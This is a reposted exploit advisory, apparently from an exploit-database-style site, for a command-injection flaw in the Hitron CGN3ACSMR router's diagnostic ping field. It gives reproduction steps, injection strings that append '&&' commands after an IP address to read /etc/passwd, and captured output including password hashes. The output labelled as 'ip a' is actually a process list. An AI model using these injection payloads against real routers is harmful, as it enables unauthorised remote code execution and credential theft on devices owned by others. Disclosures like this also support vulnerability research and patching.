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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit title: Hitron Router (CGN3ACSMR) - Remote Code Execution 
# Author: Dolev Farhi (dolevf at protonmail.ch)
# Date: 29-10-2015
# Vendor homepage: http://www.hitrontech.com/en/index.php
# Software version: 4.5.8.16
# Hardware version: 1A

# Details:
Hitron routers provide an interface to test connectivity (ping, tracert) via the graphical user interface of the router (Management UI).
This interface is vulnerable to code injection using the && argument after the IP address.

# Steps to reproduce:
1. Navigate to the dashboard
2. Navigate to the admin tab
3. Type an ip address in the Destination form
4. append any code you want after the ip.

Example one: 
8.8.8.8 && cat /etc/passwd

Result

root:$1$27272727:0:0::/:/bin/false
nobody:$1$27272727:65535:65535::/:/bin/false
rogcesadmin:filtered/:100:100::/:/usr/sbin/cli
=============Complete==============



Example two:
8.8.8.8 && ip a 
PID USER VSZ STAT COMMAND
1 root 1268 S init
2 root 0 SW [kthreadd]
3 root 0 SW [ksoftirqd/0]
5 root 0 SW [kworker/u:0]
6 root 0 SW< [khelper]
7 root 0 SW [irq/74-hw_mutex]
8 root 0 SW [sync_supers]
9 root 0 SW [bdi-default]
10 root 0 SW< [kblockd]
11 root 0 SW< [gPunitWorkqueue]
12 root 0 SW [irq/79-punit_in]
13 root 0 SW [kswapd0]
14 root 0 SW< [crypto]